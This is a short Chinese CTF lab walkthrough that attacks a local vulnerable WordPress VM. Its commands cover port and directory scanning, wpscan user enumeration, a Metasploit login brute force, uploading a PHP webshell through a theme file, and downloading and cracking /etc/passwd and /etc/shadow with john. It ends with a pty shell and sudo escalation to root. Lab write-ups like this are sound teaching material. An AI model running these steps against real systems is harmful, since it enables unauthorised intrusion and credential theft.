CTF—攻防练习之HTTP—暴力破解

攻击机:192.168.32.152

靶机:192.168.32.164

 

首先nmap,nikto -host ,dirb 扫描开放带端口,探测敏感文件,扫描目录
CTF—攻防练习之HTTP—暴力破解_第1张图片

开放了21,22,80端口,看到一个敏感目录secret

打开发现访问里面界面会跳转 

vitcsec,但是打不开,设置一下host

gedit /etc/hosts

即可直接访问网页中内容

打开login

CTF—攻防练习之HTTP—暴力破解_第2张图片

我们可以用metasploit对此进行暴力破解
use auxiliary/scanner/http/wordpress_login_enum
set username XX
set passfile /usr/share/wordlists/dirb/common.txt
set targeturi /secret/
set rhosts 192.168.32.164
exploit

我们暴力破解前不知道user,我们可以先用wpscan确认一下user

wpscan --url www.vtcsec.com/secret/ --enumerate u 
确认user为admin

利用msfconsole开始暴力破解:
跑出密码也为admin,登录上去,找到上传点,制作一个phpwebshell,上传上去
再执行此shell
http://192.168.32.164/secret/wp-content/themes/twentyseventeen/archive.php
成功拿到shell!

CTF—攻防练习之HTTP—暴力破解_第3张图片

此时再想办法提权

这里我们可以用返回shell下载passwd和shadow文件,再把文件转换为cracked用john破解出密码

download /etc/passwd
download /etc/shadow

CTF—攻防练习之HTTP—暴力破解_第4张图片

unshadow passwd shadow > cracked

john cracked
得到用户marlinspike,密码也是marlinspike

CTF—攻防练习之HTTP—暴力破解_第5张图片

 

再返回shell界面,开启终端 python -c "import pty;pty.spawn('/bin/bash')"
提权

su -marlinspile
sudo -l
sudo bash  最中得到root权限

CTF—攻防练习之HTTP—暴力破解_第6张图片

 

你可能感兴趣的:(CTF—攻防练习之HTTP—暴力破解)